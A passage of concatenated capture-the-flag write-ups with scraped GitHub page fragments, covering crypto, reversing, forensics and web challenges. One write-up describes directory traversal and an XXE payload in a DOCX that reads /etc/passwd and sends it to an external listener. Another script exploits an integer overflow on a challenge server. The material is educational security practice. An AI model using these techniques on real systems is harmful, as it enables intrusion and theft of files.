with open('da_vinci/a.out', 'rb') as f: f.seek(0x2010) ships = f.read(0xE28)
key = struct.pack('>QQQ', *KEYS)iv = struct.pack('>Q', IV)des = DES3.new(key, DES3.MODE_CBC, iv)print(des.decrypt(ships))```
It worked:
```[... omitted ASCII art ...]I have stolen the credentials to your tanker fleet and have taken control oftheir ballast systems.Unless $5 million is transferred to the following account in 7 days,I will capsize five tankers in the Ellingson fleet.
Name: Mr. Evil HackerAddress: P.O. Box 105. Road Town, Tortola British Virgin IslandsConcept: Ships %sIBAN: VG96 BEVC 0000 0123 4567 8901SWIFT: BEVCVGV1XXX```
There we go, a `%s` specifier right where we expected it. I sent a request to the server for `c43a7aa9abc036ac4bf8490b0f30a5a7`, and saved the [data](./dvkey/dvkey) it gave back (turns out, it decrypts to random gibberish). Now it's just a matter of implementing the key derivation and decryption. I used the [SHA256 implementation from Thomas Dixon](https://github.com/thomdixon/pysha2/blob/master/sha2/sha256.py). Padding is added when `digest` is called, but I never call it: I feed the data, which causes the hash to be updated because it's a full block, and then dump the hash from the internal `_h` state. Here's the final script:
```python#!/usr/bin/python2
import structfrom Crypto.Cipher import AESfrom sha256 import sha256
with open('dvkey/dvkey', 'rb') as f: dvkey = f.read()
with open('da_vinci/creds.txt', 'rb') as f: creds = f.read()
DVKEY_KEYS = [ 0x3E434B0B0AA93BB2, 0x82B03E164D85CE2A, 0x845D334203640AEE, 0x2011A08BD4310E26]dvkey_key = struct.pack('>QQQQ', *DVKEY_KEYS)dvkey_aes = AES.new(dvkey_key, AES.MODE_ECB)dvkey_plain = dvkey_aes.decrypt(dvkey)
sha256._h = ( 0x37833C82, 0xAEC93C6D, 0x66859208, 0x1ED67C95, 0x2219C188, 0x8C430C17, 0x77AEBDE7, 0xE52E924F)dvkey_plain_sha = sha256(dvkey_plain)creds_key = struct.pack('>IIIIIIII', *dvkey_plain_sha._h)
CREDS_IVS = [0xB6FA1D15ED46055D, 0x96E7F1E8CB561781]creds_iv = struct.pack('>QQ', *CREDS_IVS)creds_aes = AES.new(creds_key, AES.MODE_CBC, creds_iv)creds_plain = creds_aes.decrypt(creds)
print(creds_plain)```
And we get the flag:
```Hai!
[...]
Ohh you wanted the password for the oil tanker's ballast system, true?SECT{C0M3_S41L_7H3_5345_W17H_0UR_74NK3R5!}
Enjoy!Klondike```
Thanks for the great challenge! |
# Transposition## Challenge: We intercepted this secret message. We believe it is using a transposition cipher. Can you decipher it?```Citgoe6b0 oohern636 nni.tg1e2 gssThe58e rschii366aohess3ae tlafcf3dc uvllhl24f lilaaa730 aneglg506 tgnfl{33}```
By organizing each block of characters on top of another, we get:
``` C i t g o e 6 b 0 o o h e r n 6 3 6 n n i . t g 1 e 2 g s s T h e 5 8 e r s c h i i 3 6 6 a o h e s s 3 a e t l a f c f 3 d c u v l l h l 2 4 f l i l a a a 7 3 0 a n e g l g 5 0 6 t g n f l { 3 3 }```
And by reading it column by column, we get `flag{66153332753b3e86ad4303062e6ecf06}`
|
```#!/usr/bin/env python
import angr
flag_address = 0x6ccd60find = (0x400c6c, )avoid = (0x400d5d, )checking_address = 0x004009d8
p = angr.Project("./warmup")state = p.factory.blank_state(addr=checking_address)flag = state.se.BVS("flag_string", 30 * 8)state.memory.store(flag_address, flag)pg = p.factory.path_group(state)pg.explore(find=find, avoid=avoid)
if len(pg.found) > 0: found_path = pg.found[0] flag_found = found_path.state.se.any_str(flag) print "Flag found: {}".format(flag_found)else: print "Try smarter!!!"``` |
# Malbolge (Misc, 238p, 153 solved)
We can connect to a service which asks us for a Malbolge code which will print `Welcome to EKOPARTY!`:
```$ nc6 malbolge.ctf.site 40111nc6: using stream socketSend a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes)```
A bit of googling and we find http://www.matthias-ernst.eu/malbolge.html where author created [a program](finder.c) for generating Malbolge programs printing out desired output.We used it and got:
```bCBA@?>=<;:9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9y765432+O/.-,+*)i'&}C{"!~w={zyxwYutsrqponmlkjiha'Hdcba`_^]\[ZYXWVUTSRQPONMLKJIHGFED=a;@?>7[|:981U543s10/.',+*#G'&%$#"!~`|u;yxqvun4rqpRhmf,Mchgfedcba`_^]VzZYXWVUTSRQJnNM/KDIBfFEDCBA#?>=<54X810T4321q/.-,+$H('&%$#"bx>|{tyxwvutsrqponmlkd*Kafedc\"m```
Which in turn gave us the flag: `EKO{0nly4nother3soteric1anguage}` |
<h1>GSA File Server</h1> Category: Web Network OSINT<h2>Description:</h2>
GSA's file server, go find the hole, drill it and grab the flag :)Note that Scope is 128.199.40.185:*Alert: No remote brute force and automated scanning are needed.
So after checking the website, look like a simple web app with JS (js/functions.js) with a interesting parameter (showFiles)
so i tried a GET request to see the server answer and all i get is this (look like listing the elements in specific directory
let check with burpsuit :
Bingooo, as you can see in the server answer there is the Directory parameter , so let's try some traversal tricks ,
use ../ and you can see that it's work perfectly , let's check others files
so the admin panel is the (panelmanager-0.1) , now we have to read the files on the server, but first let's check the the panelmanagerlet's try 128.199.40.185/panelmanager-0.1 .. FAIL!!!but as you can see in the description that said (that Scope is 128.199.40.185:*)
try the common port 8080 (FAIL) ..8081 (work) as you can see is a simple upload that's allow you to upload files (docx ..)
generally when we say docx ==> XML ==> XXE , we need a listener and a good payload and docx (where we inject in the word/document.xml) i used https://requestb.in (as listener ) and as a payload in the docx
where the txt file contains:```
'>```
so i have only to modify the payloads in my webserver and reupload the file docx (without rebuild-it every single try)and to check the aswer you have to visite (https://requestb.in/****?inspect)
i get answer for the /etc/passwd ```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologin[................]```
to be honest i spent hours graping files but no FLAG ... but the most interesting thing is the filesharing (permission denied) 
so the idea is to read /etc/samba/smb.conf to get secret dir filename which is s3cRetP4th 
and all we have to do now is the grab the file and get the FLAG 
the flag ASIS{Vuln_web_appZ_plus_misc0nfig_eQ_dis4st3R!} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>asis2017finals</span></span><span>/</span>rev-unlock_me<span>/</span> </div> </div>
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# COBOL (RE, 485p, 10 solved)
In the task we get an old [IBM SAVF file](EKO.SAVF).Unlike last year, where we could just load it to some online tools, this time the file was corrupted.
We quickly had a look around at the file contents, decoded from ebcdic string encoding, but the flag string seemed permutated, so we guessed we actually have to recover the binary and reverse it.This was a huge mistake.We wasted quite some time trying to fix this file, which had some checksum failures.
After a while we tried one more time to look at the strings:
```pythonimport codecsimport ebcdic
def decode(): with codecs.open("EKO.SAVF", 'rb') as input_file: print(input_file.read().decode('cp1148'))```
We can see there a nice section:
```YOU ARE RIGHTWE}m_A4rREg0_RrpUN+0NI04NGsa_O+7UT3313F_+rGO3hODt0_In4DE{OASKE NOPE], YOUR SECRET IS WRONG]```
And from this we guess that the part:
```}m_A4rREg0_RrpUN+0NI04NGsa_O+7UT3313F_+rGO3hODt0_In4DE{OASKE```
Is the mangled flag.It's clear it's inverted, so we invert it back:
```EKSAO{ED4nI_0tDOh3OGr+_F3133TU7+O_asGN40IN0+NUprR_0gERr4A_m}```
We know that the flag starts with `EKO{` so we need to take 2 characters, remove next 2, and again take 2.We guessed we will check what happens if we proceed like this:
```EKO{4n0th3r+31TUO_GNINNUR_ERA_EW```
And inverted:
```WE_ARE_RUNNING_OUT13+r3ht0n4{OKE```
So we're on a good track, and we have first half of the flag.Since the second half is also not random, we decided to do our take-2-leave-2, but with offset of 2:
```SAEDI_DOOG_F337+as400+pr0gr4m}}m4rg0rp+004sa+733F_GOOD_IDEAS```
This way we get a second half of the flag and rest of the message blended in:
```EKO{4n0th3r+31337+as400+pr0gr4m}WE_ARE_RUNNING_OUTF_GOOD_IDEAS```
As can is noticable now, we could have just removed all uppercase and `_` characters from the initial string to get the flag as well. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>asis2017finals</span></span><span>/</span>crypto-handicraft_rsa<span>/</span> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>handicraft_rsa.py</span> </div>
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# Special (Misc, 405p, 58 solved)
```You will find a special path where the answer lies. ```
A recon task, where nothing is given.We spent some time looking around for some strange js files, comment in source code of the page etc. by to no avail.Then just accidentally someone got interested in the [background of the CTF webpage](background.jpg).It's rather common to place some random codes on IT webpages in images/logos etc, but still it might be something.Once you try to read the blurry code it becomes obvious that this is in fact the `Special` task.
The code is quite simple, we have hexbytes which should get decoded to ascii chars, the resulting string is again hex encoded so we need to decode it one more time and finally we have to invert it to get the flag.
The hard part was to type down those blurry values but in the end we got it:
```python"".join([chr(int(c,16)) for c in '37 39 37 33 36 31 36 35 37 30 35 66 37 39 37 33 36 31 36 35'.split()]).decode("hex")[::-1]```
Which becomes a flag: `EKO{easy_peasy}` |
# ICSS (Misc/Crypto, 471p, 18 solved)
A blackbox crypto challenge.We get a base64 encoded ciphertext `ypovStywDFkNEotWNc3AxtlL2IwWKuJA1qawdvYynITDDIpknntQR1gB+Nzl` and access to a service which can encrypt for us up to 6 characters of input.
First we need to understand how this encryption works, and for this we played a bit with it, sending specially crafted payloads.We can notice some things:
1. Encryption goes character by character, there are no blocks. It's easy to see when we add or remove characters.
2. Ciphertext for a character depends on the character itself and on the position where it is in the input. The same character on a different position encrypts differently, but the same character at the same position, even for different plaintexts gives the same encrypted value.For example:aaa -> a060a2aba -> a063a2
So the encryption for the last `a` stayed the same.
3. An exception to above rule is the first character. It affects how rest of the string is encrypted.
Another set of tests we did gave some interesting results. By sending `\x00\x00\x00\x00\x00\x00` bytes we got `010102030508` which looks like a Fibonacci sequence!It got even better when we sent `\x01\x00\x00\x00\x00\x00` because we got `00020305080d` which is the same sequence just shifter 1 position further (disregarding the first byte).If we now send `\x01\x05\x00\x00\x00\x00` we will get `00070305080d` so the sequence is the same but second byte is bigger by 5, which is the value we tried to encrypt.First byte encryption is unknown, but it depends only on this character, so we don't really care, it can be brute-forced.
We did a bit more checking and it was quite clear that the encryption does something like:1. Encrypt first byte in some special way2. Every other byte in position `k` is encrypted as `Fibonacci(first_byte + k) + kth_byte_value`
However, there is some weird stuff happening when overflow is reached, and it seemed some other special cases are present as well for even/odd numbers.
Instead of trying to figure out how to handle those issues, we decided to go the "easy" way instead.We know that by changing the first byte we can "shift" the Fibonacci sequence for the rest of the encryption, but it means that we basically shift the positions!By sending `Xa` we can get encrypted byte `a` at positon `1` with starting byte `X`, but if we send `(X+1)a` we will shift the sequence and the result will be the same as encrypted `a` at position `2` with starting byte `X`.
This means that we can pretty much get any encrypted byte at any position we want by encrypting only 2 bytes at a time!We use this approach with the server as "oracle" serving us the encrypted bytes and we brute-force the flag.
What we want to do:1. Take a single encrypted character from the encrypted flag we have at k-th position.2. Encrypt via server every possible character at k-th position and compare it with the one we have. Once they match we know what was the plaintext character.3. Repeat until we get whole flag.
So we run:
```pythonimport base64import string
from crypto_commons.netcat.netcat_commons import nc, send
def brute_character_at_position(position, expected): for c in string.letters + "{_" + string.digits + string.punctuation: if int(get_encrypted_char_at_position(c, position), 16) == ord(expected): return c return "?"
def get_encrypted_char_at_position(character, position): return get_ciphertext(chr(ord('E') + position) + character)[2:4]
def get_ciphertext(c): url = 'icss.ctf.site' port = 40112 s = nc(url, port) s.recv(9999) s.recv(9999) send(s, c) s.recv(9999) result = s.recv(9999) return base64.b64decode(result).encode("hex")
def main(): flag_ciphertext = base64.b64decode("ypovStywDFkNEotWNc3AxtlL2IwWKuJA1qawdvYynITDDIpknntQR1gB+Nzl") flag_plaintext = "E" for i in range(len(flag_ciphertext) - 1): expected_encrypted_byte = flag_ciphertext[i + 1] flag_plaintext += brute_character_at_position(i, expected_encrypted_byte) print(flag_plaintext) print(flag_plaintext)
main()```
After a while we finally get: `EKO{Mr_Leon4rd0_PisAno_Big0770_AKA_Fib@nacc!}` |
<h1>Dig Dug</h1> Category: Web Warm-up<h2>Description:</h2>
The pot calling the kettle black.
the link provided https://digx.asisctf.com/ is a static page with image included (dig-tool.jpg) with a text :```If you want to know what is dig, you should consider that dig stands for domain information groper.
Thank you for seeing our digs.```
so the idea is to use Domain Information Groper (DIG) i used dnsdumpster which an online DNS Digger (service) ```https://dnsdumpster.com/ ```
the querry answer was an url in the A record 
which is ```https://airplane.asisctf.com/ ```
after visiting the URL we find a simple message :
and in the source code we can see a JS file included (but obfuscated)
so all we have to do is to decode the JS and we search for ASIS{
and the flag was : |
# Shopwn (Pwn, 375p, 76 solved)
A task very similar to Shopping, but this time we can pass only positive numbers as quantity.The interface is exactly the same so again:
```Welcome to Ekoparty shopping CenterFeel free to buy up to 5 items that you may likeUse wisely your coins, have fun!
You have 50 coinsWhat do you wanna buy today?1. t-shirt 102. short 203. stickers 14. flag ?```
This time the trick is to guess that since the server can check if our input is negative, it means there is a signed integer of some sort where our input is stored.In such case there is a chance of causing integer overflow when this value is multiplied by the price.We didn't know how many bits they're using but we got a hit with 16 bits.So we send a large signed 16 bit integer, which has to overflow after multiplication.
We run:
```pythonimport hashlibimport re
import os
from crypto_commons.netcat.netcat_commons import nc, send, interactive
def PoW(task): while True: data = os.urandom(10) if hashlib.sha1(data).hexdigest()[0:6] == task: return data
def main(): url = "shopping.ctf.site" port = 22222 s = nc(url, port) data = s.recv(9999) task = re.findall("== (.*)", data)[0] send(s, PoW(task)) print(s.recv(9999)) send(s, "4") print(s.recv(9999)) send(s, str(2 ** 15)) print(s.recv(9999)) interactive(s)
main()
```
and we get `EKO{dude_where_is_my_leak?}` |
# Spies (DNS, 466p, 21 solved)
```Watch out from those prying eyes! It seems someone is opening everything to the world, find that webcam and you will see for yourself!
https://mydns.webcam/```
Task suggests there is some webcam registered as subdomain of `mydns.webcam` where we can find the flag.The hard part is that there are already plenty of domains registered and also players can register new domains at will.
In this task we first collected all subdomains of `mydns.webcam` and simply checked what is there.We knew that all the user-registered domains without external server show some message about "billing issues" and we knew that `crazy.mydomain.webcam` is for a different task, so we're interested only in the remaining domains:
```python for host in host_list: if host != "crazy.mydns.webcam": try: result = requests.get("http://" + host, timeout=1) if "billing" not in result.text: print(host, result.text) except: pass pass```
After we pass through those domains we get only a few hits, and only two are webcams.
Out of those two only `greenhouse.mydns.webcam` shows us:
So the flag is `EKO{spies_everywhere}
The other webcam `supercam.mydns.webcam` was showing stuff like for example Rickroll. |
### tablEZ - CSAW CTF 2017 - 100 points - Reverse Engineering **Description - Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...** **Files: [tablez](https://github.com/r0d/Write_Ups/blob/master/CSAW%20CTF%202017/tablEZ/tablez)**
*Solved by r0d & stonepresto*
***
tablEZ is a fairly straight-forward crackme style challenge.
Booting up IDA, we see a prompt asking for the flag and an fgets whcih recieves the flag. The length of the input is then stored and we enter a loop that iterates through our input string byte by byte and calls get_tbl_entry on each byte. It then overwrites the byte it passed to get_tbl_entry with the return value. So it seems like this function is taking our input and translating it with this function. Looking a little farther, we see that our translated input is compared to a hex string that was passed earlier in the function ([rbp + s2]). So, the key here is to figure out how get_tbl_entry is modifying our input and work backwards from the hex string to recover our flag.
get_tbl_entry turns out to be a fairly small function. We see a loop, and looking at the comparison we see it will execute at most 256 time while looking for a match to our input in the data section at trans_table. Once a match is found, it uses that index to pull out a new value and returns the new value.
Looking at trans_table, we see a large array starting with \x01 to and ending at \xFF and a corresponding (random) value associated with each entry. So I think it's safe to assume here that this function is simply taking our input, looking it up in this table, and translating it to a random hex value. Since we already have the hex values it is being compared too, we can simply look those up and find the corresponding plaintext that produces them, which will yield the flag. 
In our case, we wrote an IDApython script to perform a reverse lookup, which resulted in the flag.
Script: ```python from struct import pack loc1 = 0x8BA loc2 = 0x8C4 loc3 = 0x8DC loc4 = 0x8E6 loc5 = 0x8FE loc6 = 0x908 str1 = pack(" |
```#!/usr/bin/env python
# @uafio
from pwn import *from string import maketrans
encoded_key = "R6aYb@VboTG=="base64fixTable = maketrans("WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeO", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+");
def correctbase64(str): return str.translate(base64fixTable)print "Key: " + correctbase64(encoded_key).decode('base64')
tbl = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]results = [0x48fd9fdd395cfe4a, 0x555ed4725bde6cf0, 0xb492d5de09fa160, 0x9c326531f39e320e, 0x5eecc9092cef233d, 0x10b4e73f5fd73945]
def enc_chunk(chunk, key): x = bytearray(chunk) for _ in range(0x20): for byte in range(8): cl = tbl[ (x[byte] + ord(key[byte])) & 0xff ] + x[byte+1 & 7] & 0xff cl = rol(cl, 1, 8) x[(byte+1) & 7] = cl return x
def decrypt_chunk(chunk, key): x = bytearray(chunk) for _ in range(0x20): for byte in reversed(range(8)): cl = (x[byte] + ord(key[byte])) & 0xff cl = tbl[cl] x[byte+1&7] = (ror(x[byte+1 & 7], 1, 8) - cl) & 0xff return x
assert "AAAAAAAA" == decrypt_chunk(enc_chunk('AAAAAAAA', "KEY_TW:)"), "KEY_TW:)")
final = ''for a in results: final += decrypt_chunk(p64(a), "KEY_TW:)")print final
``` |
We're given an image and we need to decipher it.
A little bit of googling, and we find out it's [Egyptian Glyph Alphabet](http://www.virtual-egypt.com/newhtml/hieroglyphics/sample/alphabet.gif) After decoding, we get `THE FLAG IS EGYPTISBETTERTHANYOU` |
## WhiteHat Challenge 03 - For001 - Forensics### Problem
This piece of data is captured via USB port, look for the flag transferred through it.
You can use Wireshark to read the file pcapng.Download file pcap here:http://material.wargame.whitehat.vn/challenges/3/For001_61fb3e6d8aa22c75362af02e798331bbf5b73a4b.zipSubmit WhiteHat{sha1(flag)}Example: flag = Hello Worldsha1("Hello World") = 0a4d55a8d778e5022fab701977c5d840bbc486d0submit: WhiteHat{0a4d55a8d778e5022fab701977c5d840bbc486d0}(all hash characters in lowercase)
### Solution
Extracting the zip file gives us a network packet capture ___usbtraffic.pcapng___.
Binwalk returns a text file containing the string ___"Life is short, Smile while you still have teeth !".___
$ binwalk -e usbtraffic.pcapng
Generating the hash returns the flag.
$ echo -n "Life is short, Smile while you still have teeth !". | shasum
Flag: __WhiteHat{3244495470c50733ac0d93b7b4f8c6d12eaba65c}__ |
> USB ducker>> foren100>> Description: This file was captured from one of the computers at the Internet cafe. We think that the hacker was using this computer at that time. Try to get his secret documents. ( flag format is flag{...} )>> Webpage: [task.pcap](https://0xd13a.github.io/ctfs/hackit2017/foren100/task.pcap)
The challenge has an associated PCAP file that we open in Wireshark. It turns out to be a USB communications capture for the Apple Keyboard:
The file is pretty small and most of it are the USB_INTERRUPT events that encode key presses. The suspicion is that the flag is encoded in them.
Examination of the [USB specification](http://www.usb.org/developers/hidpage/Hut1_12v2.pdf), and especially the table on page ```53``` shows us how to decode the individual keys - we need to extract data from key press events and then parse it to extract the character that was entered and the state of the Shift key.
First let's massage the data, extracting just the chunks with the codes:
```sh$ tshark -r task.pcap -T fields -e usb.capdata | grep -E "^.{23}$" | grep -v 00:00:00:00:00:00:00:00 > data.txt```
The data will now look like this:
```...02:00:00:00:00:00:00:0000:00:52:00:00:00:00:0002:00:00:00:00:00:00:0002:00:2f:00:00:00:00:0002:00:00:00:00:00:00:0000:00:1a:00:00:00:00:0002:00:00:00:00:00:00:0002:00:21:00:00:00:00:00...```
The Shift key is encoded as the value of ```02``` at position ```0``` in the data, and the key code is the value at position ```2```. Also note that there are lots of keys with codes ```0x52```, ```0x51```, and ```0x28``` - which are Up Arrow, Down Arrrow, and Enter, respectively. It looks like someone was writing the text in a text editor, typing characters and moving about.
Let's put together a script that will parse the data, simulating editing of text in the editor (in a very primitive way):
```python
usb_codes = { 0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF", 0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL", 0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR", 0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX", 0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$", 0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)", 0x2C:" ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}", 0x32:"#~", 0x33:";:", 0x34:"'\"", 0x36:",<", 0x37:".>" }
lines = ["","","","",""] pos = 0
for x in open("data.txt","r").readlines(): code = int(x[6:8],16) if code == 0: continue # newline or down arrow - move down if code == 0x51 or code == 0x28: pos += 1 continue # up arrow - move up if code == 0x52: pos -= 1 continue
# select the character based on the Shift key if int(x[0:2],16) == 2: lines[pos] += usb_codes[code][1] else: lines[pos] += usb_codes[code][0] for x in lines: print x```
When we run the script we get the flag
```$ python solve.py
w{w$ju},'pt]=j%;9+ps&#,ik#>bn$:6pjim0{u'h;fks!s-flag{k3yb0ard_sn4ke_2.0}b[[e[fu~7d[=>*(0]'$1c$ce3'ci.[%=%&k(lc*2y4!}%qz3```
The flag is ```flag{k3yb0ard_sn4ke_2.0}```. |
# Dumpster dive - Reversing - 100 points
> Crash Override extracted this binary from a broken device we found when dumpster diving on Ellingson Mineral Company. The device contained a EFM32HG322F64G microcontroller and a SSD1306 display. Can you help us find out what it does?>> Solves: 6>> Download: [http://dl.ctf.rocks/dumpster_diving.tar.gz](./dumpster_diving.tar.gz)>> Author: SecureLink / klondike
We are given a flat binary file and the above description. After a bit of Google use we found the [reference manual](https://www.silabs.com/documents/public/reference-manuals/EFM32G-RM.pdf) for the microcontroller family. It is an ARM Cortex-M3 system, so we open binary up in IDA - set processor type to ARM and load it. Since it's a flat binary, there is no metadata to tell us where the entry point is, so we just start randomly converting to code by pressing "C" at various offsets.
That didn't work so well. Let's try again, but this time, we press Alt-G and set the `T` register to 1 to switch to Thumb mode before converting to code.
That seems much better. Some offsets still seem misaligned though, so we do a final reload of the binary file, this time guessing it should be at address `0x1000`:
We do a quick browsing of the program, and notice a few things:
* Addresses `0x000011C8` and `0x000023C0` contain pseudorandom data, maybe encrypted data?* Code at address `0x00001638` loads and EORs various strange values, maybe a key?* Code at address `0x00001622` uses `0x400E0000` as an offset to read/write some data
Reading the reference manual, we find that `0x400E0000` is the memory area for the [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) accelerator. We start commenting what happens in the code, and end up with something like this:
It seems like maybe the final key is an XOR between two different keys. On a hunch, we start decrypting the data parts we noticed earlier with this key, ECB mode at first since we don't see any more advanced code.
And we get a partial flag out of decrypting `0x000023C0`! Continuing decrypting in ECB mode gives us the full flag: `SECT{0MG!_N035!_U_8R0K3_MY_53C0ND_F4C70R_4U7H3N71C4T10N!}` |
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<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
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<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
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<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>csaw</span></span><span>/</span>scv<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>csaw</span></span><span>/</span>scv<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/krornus/ctf/tree-commit/e1f90e89c2e0e3b1b9ba535b4517832bcf42a72d/csaw/scv" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc-2.23.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
